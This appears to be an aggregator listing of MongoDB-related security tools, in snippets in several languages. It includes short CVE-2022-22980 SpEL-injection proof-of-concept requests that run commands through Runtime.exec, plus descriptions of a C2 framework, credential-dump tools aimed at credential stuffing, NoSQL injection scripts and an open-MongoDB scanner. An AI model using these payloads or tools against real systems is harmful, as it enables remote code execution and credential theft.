cve-2022-22980

spring-data-mongodb-cve-2022-22980-exp A mediocre vulnerability, just making a note. 1. Start Redis, port 27017 2. Start the project, SpringBoot starts on port 6666 3. root@kitploit: GET /v1/user/get?username=Tjava.lang.Runtime.getRuntime.exec'open+-a+calculator.app' HTTP/1.1 Host: localhost:6666...

CVE-2022-22980

CVE-2022-22980 A local based poc of CVE-2022-22980, for the detail of this vulnerability see https://tanzu.vmware.com/security/cve-2022-22980. You need to install mongodb on locahost before running. And I've create a web based poc with docker on dockerv Run root@kitploit: mvn spring-boot:run or...

mongoaudit

mongoaudit هي أداة سطر أوامر لتدقيق خوادم MongoDB، واكتشاف إعدادات الأمان الضعيفة، وإجراء اختبارات الاختراق الآلية. التثبيت استنسخ هذا المستودع وشغّل الإعداد: root@kitploit: git clone https://github.com/stampery/mongoaudit.git cd mongoaudit python setup.py install mongoaudit يتم إصداره بموجب رخصة...

mongoaudit

mongoaudit is a CLI tool for auditing MongoDB servers, detecting poor security settings and performing automated penetration testing. Installing Clone this repository and run the setup: root@kitploit: git clone https://github.com/stampery/mongoaudit.git cd mongoaudit python setup.py install...

Spring-Data-Mongodb-Example

Spring-Data-Mongodb-Example CVE-2022-22980 environment Build docker environment root@kitploit: docker build -t mongo . docker run -dit -p 6666:6666 mongo PoC root@kitploit: ➜ Spring-Data-Mongodb-Example git:main curl 0:6666/v1/user/get -d 'id=Tjava.lang.Runtime.getRuntime.exec"touch /tmp/aaaa"'...

CVE-2026-48204

CVE-2026-48204 — camel-mongodb-gridfs gridfs. Header Injection Runnable proof-of-concept reproducers for the same Apache Camel vulnerability, one per runtime:...

pritunl

pritunl: enterprise vpn server Pritunl is a distributed enterprise vpn server built using the OpenVPN protocol. Documentation and more information can be found at the home page pritunl.com Install From Source root@kitploit: Install MongoDB if running single host configuration sudo tee...

swarm

swarm v0.6.0 English | 中文. Swarm is an open source modular distributed penetration testing Tool that use distributed task queue to implement communication in the master-slave mode system and use MongoDB for data storage. It consists of a distributed framework and function modules. The function...

LeakManager

LeakManager Install root@kitploit: sudo apt-get install mongodb-org screen pip3 install -r requeriments.txt Usage root@kitploit: screen -S leakManager hug -f index.py -p 1337 OR gunicorn index:hugwsgi -b 0.0.0.0:1337 OR uwsgi --http 0.0.0.0:1337 --wsgi-file index.py --callable hugwsgi ctrl + a + ...

Striker

Striker C2 Striker is a simple Command and Control C2 program. Disclaimer This project is under active development. Most of the features are experimental, with more to come. Expect breaking changes. Features A Agents Native agents for linux and windows hosts. Self-contained, minimal python agent...

Pollenisator

Pollenisator is a tool aiming to assist pentesters and auditor automating the use of some tools/scripts and keep track of them. Written in python 3 Provides a modelisation of "pentest objects" : Scope, Hosts, Ports, Commands, Tools etc. Tools/scripts are separated into 4 categories : wave,...

ipChecker

ipChecker Strumento per verificare se un dato IP è un nodo Tor o un proxy aperto. Perché? A volte tutti i tuoi throttles non bastano per fermare attacchi brute force o qualsiasi tipo di attacco massivo, quindi può aiutarti a bloccare alcuni aggressori che usano Tor o proxy aperti. Come funziona...

leakScraper

leakScraper versione mongodb LeakScraper è un insieme efficiente di strumenti per elaborare e visualizzare enormi file di testo contenenti credenziali. Questi strumenti sono progettati per aiutare pentester/redteamer a fare OSINT, raccolta di credenziali e attacchi di credential stuffing...

steamer

Steamer Importa, gestisci, cerca dump pubblici. Hai enormi quantità di file CSV, .sql, .txt che contengono credenziali, password e hash? Usa Steamer per gestirli! Caricali in un database MongoDB e usa direttamente la console o la pratica interfaccia web completa di esportazione JSON. Installazion...

steamer

Steamer Import, manage, search public dumps. Do you have massive amounts of CSV, .sql, .txt, that have credentials, passwords, and hashes inside? Use Steamer to manage them! Load them into a MongoDB database, and either use the console directly, or just use the handy web interface complete with...

Nosql-MongoDB-injection-username-password-enumeration

Nosql-Injection-Skript zur Aufzählung von Benutzernamen und Passwörtern Mit diesem Skript können wir Benutzernamen und Passwörter von Nosql MongoDB injection-anfälligen Webanwendungen aufzählen. Exploit-Titel: Nosql-Injection-Aufzählung von Benutzernamen/Passwörtern. Autor: Kalana Sankalpa Anon L...

mongoBuster

mongoBuster Caccia alle istanze MongoDB aperte! Caratteristiche Scanner più veloce ed efficiente al mondo usa Masscan. Scansiona l'intero internet per impostazione predefinita, quindi avvia lo strumento e rilassati. Iperefficiente - utilizza Go-routine che sono ancora più leggere dei thread...

Astra

Astra REST API penetration testing is complex due to continuous changes in existing APIs and newly added APIs. Astra can be used by security engineers or developers as an integral part of their process, so they can detect and patch vulnerabilities early during development cycle. Astra can...

nosqli

NoSQL Injector Uno scanner e injector NoSQL veloce. Per trovare siti vulnerabili all'iniezione NoSQL, in particolare Mongo. Informazioni su Nosqli Volevo uno strumento di iniezione nosql migliore, semplice da usare, completamente basato su riga di comando e configurabile. A tal fine, ho iniziato ...

Spring_cve-2022-22980

Springcve-2022-22980 spring data mongodb esecuzione remota di codice | cve-2022-22980 poc Descrizione Un'applicazione Spring Data MongoDB è vulnerabile a SpEL injection quando utilizza metodi di query annotati con @Query o @Aggregation con espressioni SpEL che contengono segnaposto di parametri d...